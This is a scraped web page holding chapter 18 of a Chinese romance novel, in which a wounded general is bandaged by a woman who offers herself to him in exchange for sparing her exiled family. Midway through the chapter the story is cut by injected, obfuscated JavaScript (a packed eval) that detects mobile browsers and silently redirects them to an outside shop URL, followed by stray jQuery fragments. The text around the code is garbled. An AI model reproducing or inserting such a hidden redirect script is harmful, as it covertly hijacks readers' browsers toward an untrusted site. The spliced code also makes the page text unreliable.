文趣网 > 其他小说 > 被暴戾将军错认成恩人后 > 18. 第 18 章
    顾衔岳回过神来,颇为不自然的调整了身子。

    “就……恩怨分明,祸不及妻女吧。”

    说完还像是特地补充什么一般:“这是大将军向来奉行的做法,我只是……照他说的做罢了。”

    “是吗?”归乐松狐疑的看了他一眼,军中同行数载,他又是极会观测人心之人,像顾衔岳这种没什么心眼的,他基本上一眼便能看穿。

    “是呀!”顾衔岳着急忙慌补充道,“大将军的话,你该是记得的。”

    顾衔岳轻咳两声,还想说什么,却惹来苏敬之一阵呵斥:“别乱动,药还没上好呢!”

    随后又絮絮叨叨:“都已经受这么重的伤了还不回来,非要在瓦剌营帐外逞能,你这伤口要再晚回来两天,胳膊都要废了!还好有我在,不然你这辈子都别想拿刀了!”

    顾衔岳显然已经对苏敬之的唠叨习以为常。

    “敬叔,我这边不打紧,叶家那边……”

    看苏敬之似乎不明白他的意思,顾衔岳只好说得更明白:“叶栖竹之前的伤口,您说不能沾水,这次雨这么大,会不会伤口感染?”

    苏敬之白他一眼:“这时候还有闲心关心别人?他们一回来我就看过了,那丫头的伤口早好了,没什么大碍,倒是你!你自己这伤口深到都快要看到骨头了,还担心她那个小伤?”

    听到叶栖竹无碍,顾衔岳也算放下心来,这时候才有心思说好听话。

    “那是因为我知道有敬叔在呀!什么伤是您治不好的?我这个伤不过是给您练手的罢了。”

    苏敬之被气到脸色发白:“还贫嘴?真该找个人来好好治治你了,太不爱惜你自己的身子了,你娘在的时候……”

    正说着,门外突然传来一道清脆的声音:“将军在吗?”

    顾衔岳突然像是被人撞见了什么不堪的内心一般,极为心虚的看了归乐松和苏敬之一眼。

    归乐松:“将军,人家是来找你的,看我干嘛?”

    苏敬之也乐得一呵:“好,管你的人来了。”

    这么晚了,她来做什么,外面很冷,可不能让她等太久,万一冻着了怎么办?

    顾衔岳忙不迭的开口:“在,进来吧。”

    厚重的门被“吱呀”一声推开,顾衔岳只觉得仿佛是一道月光洒进了屋内。

    来人肌肤莹白如玉,脸颊一点微红,衬得肌肤吹弹可破。

    她穿着一身黄粉襦裙,眉眼温柔,身姿轻盈,手里提着一盏昏黄的灯笼,暖黄的光晕自下而上映着她的脸,将那双清澈坚毅的眼眸照得像是盛满了星子。

    随她一同进来的,还有一阵携带着淡淡花香的晚风。

    刹那之间,整个屋子都添了几分亮色。

    叶栖竹倒是一愣,没想到厅中还有旁人,脚步已经忍不住想走,但是转念一想,这里本就是议事厅,军中之人都能来,又不是顾衔岳一人专属。

    于是硬着头皮朝身旁两人行礼。

    顾衔岳早就站起来,欲从她手中接过灯笼。

    叶栖竹看到顾衔岳裸、露出来的半个胸膛,以及胸膛和左臂上还未包扎好的伤口。

    很结实的肌肉,线条轮廓分明。

    不似京中公子哥们那种白皙的肤色,是一种略深一些的小麦色。

    在烛光下泛着一层油似的光,滑到让人忍不住想伸手摸一摸。

    思及此,叶栖竹脸色一红,低下头去,将手里的灯笼侧到一边:“将军受伤了?”

    随后自己将灯笼挂好。

    顾衔岳不在意地一笑:“没什么,小伤罢了。”

    又示意她坐下。

    叶栖竹手里抱着披风,想与他说一说父母亲的事,可外人在场,她也开不了口。

    于是站也不是,坐也不是。

    归乐松是个懂氛围的,立马抱拳:“天色不早了,属下先回去歇息了。将军也……早些休息。”

    苏敬之也乐得轻松:“丫头,老头子年纪大了,熬不了夜,这剩下的伤口,你来包扎吧。”

    叶栖竹跟在苏敬之身后帮过几天忙,一些简单的包扎不在话下。

    更何况顾衔岳这伤,苏敬之已经处理得差不多了。

    屋内很快只剩下叶栖竹和顾衔岳两人。

    叶栖竹将披风还给顾衔岳,声音轻柔妩媚:“多谢将军相救之恩。”

    “我去之前,他们已经被你救了,你是自己救了自己,不必感谢我。”

    叶栖竹差点要气到翻白眼。

    她当然知道是因为自己才能得救,她又不是真的要感谢他,不过是有求于他,说点好话罢了。

    可居然真有人不解风情到如此地步,连这等英雄救美的好话都不肯接。

    叶栖竹轻咬下唇,一时之间不知该说什么。

    眼波一转,看到了顾衔岳的伤口和放在一旁的白麻布。

    计上心来。

    “你坐,我给你包扎好伤口。”

    末了加一句:“苏医师交待过的。”

    其实不加这么一句,顾衔岳也不会拒绝。

    他顺势坐到了案几前的椅子上,一手撑在桌面上,方便叶栖竹为他缠上抹布。

    叶栖竹的微微低下身,给顾衔岳的胸口和手臂的伤口一圈圈仔细缠上。

    微凉的手指碰到顾衔岳的肌肤,他心里一跳,仿佛有什么正在喷涌而出。

    乌黑长发不经意间扫过他的脸颊和胸膛,酥酥麻麻的。

    不侧过头,他就能闻到发间的香味,看到近在咫尺的雪白胸膛。

    呼吸声越来越重。

    叶栖竹忽然问:“弄疼你了吗?”

    顾衔岳摇头:“继续。”

    一点点感受女主细腻的手指从他身上划过的感觉,是叶栖竹在抚摸他身上的陈年旧疤。

    “吓到你了。”

    叶栖竹摇摇头,再一想对方可能看不到,便说:“很疼吧。”

    顾衔岳的心像被一支羽毛轻轻拂过。

    母亲死后,从来没有人这样轻柔地问过他疼不疼。

    他自己好像也忘了疼,只记得他要冲锋陷阵,只认为战场男儿受伤乃是常事。

    军营里的将士们,喝了酒后甚至还会脱掉衣服比谁身上的伤口更多更深。

    在他们看来,那是他们的功勋,是他们的骄傲。

    可夜深人静的时候,谁又没有希冀过,能有人来关心关心他们呢?

    叶栖竹不再摸他的伤疤了,像是怕把他弄疼一般。

    不疼的,我不疼了。

    手指轻轻划过胸膛其他地方,顾衔岳被这种细腻温柔的触觉吸引,想象这双手抚摸过他的脸颊、胸膛、小腹……

    “好了。”

    顾衔岳猛地睁开眼,叶栖竹已经坐到了他对面,那双手也离开了他的身体,正被它的主人交握放在腿上。

    美艳但清冷的脸上此时是一副欲言又止的神色。

    她很美,太美了,他第一眼的时候就觉得她很美。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17636740|206605||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    一双杏眸黑白分明,望着人时坚毅不屈,像是无论什么磨难都无法将她打倒。

    可在他面前的时候,她又会展露出一种脆弱的神情,像是一朵娇弱的花,被风一吹就倒了,需要他精心的呵护。

    胸中有一股欲望喷薄而出:他想要把她留下。

    他想要她!

    可他该怎么把她留下呢?

    以报恩的名义吗?

    说他要以身相许?

    可她愿意留下吗?

    此时的叶栖竹不知道对面人在想什么,只觉得他黑眸深邃,望向她的时候仿佛一潭深到看不见底的水,压低着浓眉,,似乎子啊竭力压制着什么。

    叶栖竹突然有点怕。

    也许她不该来招惹这个凶狠的、杀人不眨眼的北疆大将军。

    恐惧哪怕只漫出了一点点,也会教人生出退意。

    叶栖竹想走了。

    然而她图片瞥见了案几上的奏章。

    公文的内容深深印在她眼中。

    她回过神来了。

    她是为了爹娘妹妹来的,也是为了死得冤屈的哥哥来的!

    她定要男主帮得上她!

    心思百转间,叶栖竹试探得问道:“将军……打算如何处置叶家?”

    没有问流犯一行,因为已经不重要了。

    她只想知道他们一家人会如何。

    顾衔岳微阖双目,敛去眼中浓重的欲望,看向对面那个神女一般高洁的女子。

    “我可以让你金蝉脱壳,免去劳役之苦,可除你以外之人……旨意如何,便是如何。”

    叶栖竹的心沉了沉,良久在心中冷笑了一声。

    不过是他的推辞罢了!

    既然他可以让她金蝉脱壳,为何不让父母也如此呢!说白了,不过是觉得得到的好处不够多!

    看来,她只能抛出更大的饵。

    叶栖竹站起来,抱过一旁的披风,盖在了顾衔岳的肩头。

    想着婵娟同她闲聊时讲过的坊间女子的勾人模样,一边回忆,一边模仿。

    她半跪下身子来,趴在顾衔岳的膝头,仰起一张无暇美貌的脸,抛出柔媚的眼神,勾得上首的人眼神黏在她身上。

    她用温婉、轻柔、又带着几分讨好的语气:“奴家愿侍奉将军左右,尽心尽力,为将军一人所有。”

    “还请将军看在父母年迈,让他们安享晚年。”

    “奴家今世定当牛做马,来世也必定结草衔环。”

    此时顾衔岳满脑子都是叶栖竹魅惑的眼神,樱红的薄唇,小巧的琼鼻和雪白的胸脯。

    鼻尖萦绕着的也全是她身上的淡淡花香。

    这花香太淡了,淡到他很想将叶栖竹拉起来圈在怀里,埋首于她颈间细细嗅这味道!

    即便他察觉出叶栖竹有些曲意逢迎的姿态,可是他顾不了这么多了!

    什么当牛做马,什么结草衔环,他听不懂,也不想听!

    色令智昏!

    他现在就是色令智昏了!

    他下意识去拉叶栖竹的手,轻柔地将她抱坐于膝上,女子姣好的容颜离他那么近。

    他眼睛直勾勾地盯着她,捕捉到她眼神里的一丝慌乱后,他更难以自持!

    宽大的手轻松圈住叶栖竹的纤腰,指节分明的手指抚上她如花的面庞。

    他的唇离她越来越近。

    “这可是你自己说的。”

    “叶栖竹,你可得说话算话。”